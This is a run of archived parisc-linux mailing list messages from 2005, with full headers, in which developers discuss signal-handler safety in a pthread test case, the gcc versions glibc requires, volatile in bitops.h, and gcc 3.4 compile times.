Date: Fri, 15 Apr 2005 11:48:15 -0400 (EDT)
Lines: 19
Approved: news@gmane.org
Message-ID: <200504151548.j3FFmFuB024460@hiauly1.hia.nrc.ca>
References: <20050415141611.GI26980@baldric.uwo.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623757 13933 80.91.229.3 (22 Nov 2014 02:35:57 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:35:57 +0000 (UTC)
Cc: tausq@debian.org,
 parisc-linux@lists.parisc-linux.org
To: carlos@baldric.uwo.ca (Carlos O'Donell)
Original-X-From: - Wed Jul 02 21:27:19 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 15 Apr 2005 15:49:02 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx055) with SMTP; 15 Apr 2005 17:49:02 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 33E337D6AC;
	Fri, 15 Apr 2005 09:48:59 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 04159-06; Fri, 15 Apr 2005 09:48:59 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 974187D6AD;
	Fri, 15 Apr 2005 09:48:58 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 7539F7D6A1
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 15 Apr 2005 09:48:55 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 04147-03 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 15 Apr 2005 09:48:55 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id E574A7D69A
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 15 Apr 2005 09:48:54 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged)) by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9) with ESMTP id
	j3FFmGhF024461; Fri, 15 Apr 2005 11:48:16 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9/Submit) id j3FFmFuB024460;
	Fri, 15 Apr 2005 11:48:15 -0400 (EDT)
In-Reply-To: <20050415141611.GI26980@baldric.uwo.ca> from "Carlos O'Donell" at
	Apr 15, 2005 10:16:12 am
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: p+oKKvpKTlIVFbeQeGhrS1VBU2poZZmW
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22627

> Bugger. Then our testcase is undefined. Removing exit() fixes the
> problem.

There might still be a bug.  I have the sense that doing a fork()
in the signal handler might cause a problem similar to that with
exit().  I say might because I'm not sure that sigsuspend will
cause a problem in this case.  The procss may get restarted by
a SIGCHLD signal.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:20 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] More from the TLS glibc front.
Date: Fri, 15 Apr 2005 12:05:42 -0400 (EDT)
Lines: 15
Approved: news@gmane.org
Message-ID: <200504151605.j3FG5gM8024602@hiauly1.hia.nrc.ca>
References: <20050415143044.GM26980@baldric.uwo.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623757 13940 80.91.229.3 (22 Nov 2014 02:35:57 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:35:57 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: carlos@baldric.uwo.ca (Carlos O'Donell)
Original-X-From: - Wed Jul 02 21:27:19 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 15 Apr 2005 16:06:23 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx045) with SMTP; 15 Apr 2005 18:06:23 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 514BE7D6B4;
	Fri, 15 Apr 2005 10:06:20 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 04691-02; Fri, 15 Apr 2005 10:06:20 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 7D5257D6B9;
	Fri, 15 Apr 2005 10:06:19 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 92ED27D6AC
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 15 Apr 2005 10:06:15 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 04475-06 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 15 Apr 2005 10:06:15 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id 03F9F7D6A8
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 15 Apr 2005 10:06:14 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged)) by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9) with ESMTP id
	j3FG5ghF024603; Fri, 15 Apr 2005 12:05:43 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9/Submit) id j3FG5gM8024602;
	Fri, 15 Apr 2005 12:05:42 -0400 (EDT)
In-Reply-To: <20050415143044.GM26980@baldric.uwo.ca> from "Carlos O'Donell" at
	Apr 15, 2005 10:30:45 am
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: 8rRYeoUqYW0EEbuGbmZpc25zamthc5vA
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22628

> Note: gcc 3.5 or higher is now required to build glibc.

3.5 doesn't exist.  This should be 4.0.0.  However, I'm surprised
that 3.3.5 or 3.4.3 don't work.  They both have more test history.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:20 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] some other small bitops.h suggestion?
Date: Wed, 13 Apr 2005 23:07:27 -0600
Lines: 24
Approved: news@gmane.org
Message-ID: <20050414050727.GA30838@colo.lackof.org>
References: <20050403143246.GE8921@tausq.org>
	<42134E6200012F70@mail-2-bnl.tiscali.it>
	<20050413174756.GA21641@colo.lackof.org>
	<20050414013105.GB17749@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623757 13947 80.91.229.3 (22 Nov 2014 02:35:57 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:35:57 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Randolph Chung <tausq@debian.org>
Original-X-From: - Wed Jul 02 21:27:19 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 14 Apr 2005 05:05:36 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx073) with SMTP; 14 Apr 2005 07:05:36 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 28A347D684;
	Wed, 13 Apr 2005 23:05:22 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 24111-07; Wed, 13 Apr 2005 23:05:22 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 8EEDB7D68A;
	Wed, 13 Apr 2005 23:05:21 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 193E77D683
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 13 Apr 2005 23:05:16 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 24111-04 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 13 Apr 2005 23:05:15 -0600 (MDT)
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by free.linux.hp.com (Postfix) with ESMTP id 9BD007D67E
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 13 Apr 2005 23:05:15 -0600 (MDT)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id 9FE2029805E;
	Wed, 13 Apr 2005 23:07:28 -0600 (MDT)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 31216-04; Wed, 13 Apr 2005 23:07:27 -0600 (MDT)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 3B10B298010; Wed, 13 Apr 2005 23:07:27 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <20050414013105.GB17749@tausq.org>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.6+20040907i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: qOsDFvQ/bXBXC7qHPTQ2FzYtLyUmZcib
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22629

On Wed, Apr 13, 2005 at 06:31:05PM -0700, Randolph Chung wrote:
> One might argue that the contents pointed to by addr can be volatile,
> but in that case shouldn't it be "unsigned long * volatile addr"?

Originally it's to make sure gcc doesn't optimize the read/modify/write
completely away if it thinks no one is using the result.

> In this case, we are doing a single operation to *addr, and this
> function is explicitly not atomic, so I am not quite sure why we need
> volatile at all.

James Bottomley dug up the original thread:
	http://marc.theaimsgroup.com/?t=108826637900003

If __set_bit() doesn't need volatile, then is the same true
for __clear_bit and __change_bit?

grant
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:21 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] pthread problems - test program
Date: Fri, 15 Apr 2005 10:16:12 -0400
Lines: 21
Approved: news@gmane.org
Message-ID: <20050415141611.GI26980@baldric.uwo.ca>
References: <20050409063750.GQ1833@baldric.uwo.ca>
	<200504092344.j39NiNMM024348@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623758 13950 80.91.229.3 (22 Nov 2014 02:35:58 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:35:58 +0000 (UTC)
Cc: tausq@debian.org,
 parisc-linux@lists.parisc-linux.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: - Wed Jul 02 21:27:19 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 15 Apr 2005 15:16:37 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx054) with SMTP; 15 Apr 2005 17:16:37 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 3F6F17D6A0;
	Fri, 15 Apr 2005 09:16:29 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 03334-05; Fri, 15 Apr 2005 09:16:29 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 64A407D690;
	Fri, 15 Apr 2005 09:16:28 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 73F6F7D68A
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 15 Apr 2005 09:16:26 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 03334-02 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 15 Apr 2005 09:16:26 -0600 (MDT)
Original-Received: from baldric.uwo.ca (baldric.uwo.ca [129.100.10.225])
	by free.linux.hp.com (Postfix) with ESMTP id F06C47D662
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 15 Apr 2005 09:16:25 -0600 (MDT)
Original-Received: from carlos by baldric.uwo.ca with local (Exim 3.35 #1 (Debian))
	id 1DMRcC-0000Ns-00; Fri, 15 Apr 2005 10:16:12 -0400
Content-Disposition: inline
In-Reply-To: <200504092344.j39NiNMM024348@hiauly1.hia.nrc.ca>
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (38% Sync Ratio [====......])
User-Agent: Mutt/1.5.6+20040907i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: /rFSdvFtf2IFX4icY2xodyB3dWxlc1ZM
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22630

On Sat, Apr 09, 2005 at 07:44:22PM -0400, John David Anglin wrote:
> I number of other things to note.  If the signal handler uses
> _exit() or _Exit(), the program doesn't hang.  If exit() is called
> twice, the behavior is undefined.  I would argue that we don't call
> exit twice but that's timing depend with the current testcase.
> exit() isn't listed as async-signal-safe, so it's probably not
> legit to call it from a signal handler.  Thus, this isn't a bug.

Bugger. Then our testcase is undefined. Removing exit() fixes the
problem.

Randolph's SIGILL's are still an interesting problem.

c.

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:21 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] gcc-3.4 slower than 3.3?
Date: Fri, 15 Apr 2005 17:24:27 -0400 (EDT)
Lines: 25
Approved: news@gmane.org
Message-ID: <200504152124.j3FLORW4025854@hiauly1.hia.nrc.ca>
References: <20050415180446.GF26980@baldric.uwo.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623758 13954 80.91.229.3 (22 Nov 2014 02:35:58 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:35:58 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: carlos@baldric.uwo.ca (Carlos O'Donell)
Original-X-From: - Wed Jul 02 21:27:19 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 15 Apr 2005 21:25:17 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx073) with SMTP; 15 Apr 2005 23:25:17 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 3984B7D6E1;
	Fri, 15 Apr 2005 15:25:04 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 07464-06; Fri, 15 Apr 2005 15:25:04 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id A06997D6E5;
	Fri, 15 Apr 2005 15:25:03 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 7844A7D6DE
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 15 Apr 2005 15:25:00 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 07454-02 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 15 Apr 2005 15:25:00 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id EAAE17D6DC
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 15 Apr 2005 15:24:59 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged)) by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9) with ESMTP id
	j3FLORhF025856; Fri, 15 Apr 2005 17:24:28 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9/Submit) id j3FLORW4025854;
	Fri, 15 Apr 2005 17:24:27 -0400 (EDT)
In-Reply-To: <20050415180446.GF26980@baldric.uwo.ca> from "Carlos O'Donell" at
	Apr 15, 2005 02:04:47 pm
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: /rFSdvFtf2IFX4icY2xoQiB3dWxlc9ZO
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22631

> My glibc build went from 50 minutes to 80+ minutes when I moved to gcc
> 3.4 from 3.3. Atleast this seems to be the only change.
> 
> Is 3.4. that much slower?

Possibly.  However, the generated code is likely faster on average.
Compilation times are very much dependent on the optimization passes run,
particularly the amount of inlining done, and the amount of memory
available.  I believe that the inlining limits are somewhat higher
than in 3.3.  I've seen at least one C++ case where inlining can
change compilation times from minutes to hours.

If someone wants to try, it probably would be useful to see how
performance compares on various benchmarks.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:21 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <tausq@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] some other small bitops.h suggestion?
Date: Wed, 13 Apr 2005 18:33:39 -0700
Lines: 16
Approved: news@gmane.org
Message-ID: <20050414013338.GC17749@tausq.org>
References: <20050403143246.GE8921@tausq.org>
	<42134E6200012F70@mail-2-bnl.tiscali.it>
	<20050413174756.GA21641@colo.lackof.org>
	<20050414013105.GB17749@tausq.org>
Reply-To: Randolph Chung <tausq@debian.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623758 13959 80.91.229.3 (22 Nov 2014 02:35:58 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:35:58 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Grant Grundler <grundler@parisc-linux.org>
Original-X-From: - Wed Jul 02 21:27:19 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 14 Apr 2005 01:33:59 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx050) with SMTP; 14 Apr 2005 03:33:59 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 226D67D66B;
	Wed, 13 Apr 2005 19:33:46 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 23860-07; Wed, 13 Apr 2005 19:33:46 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
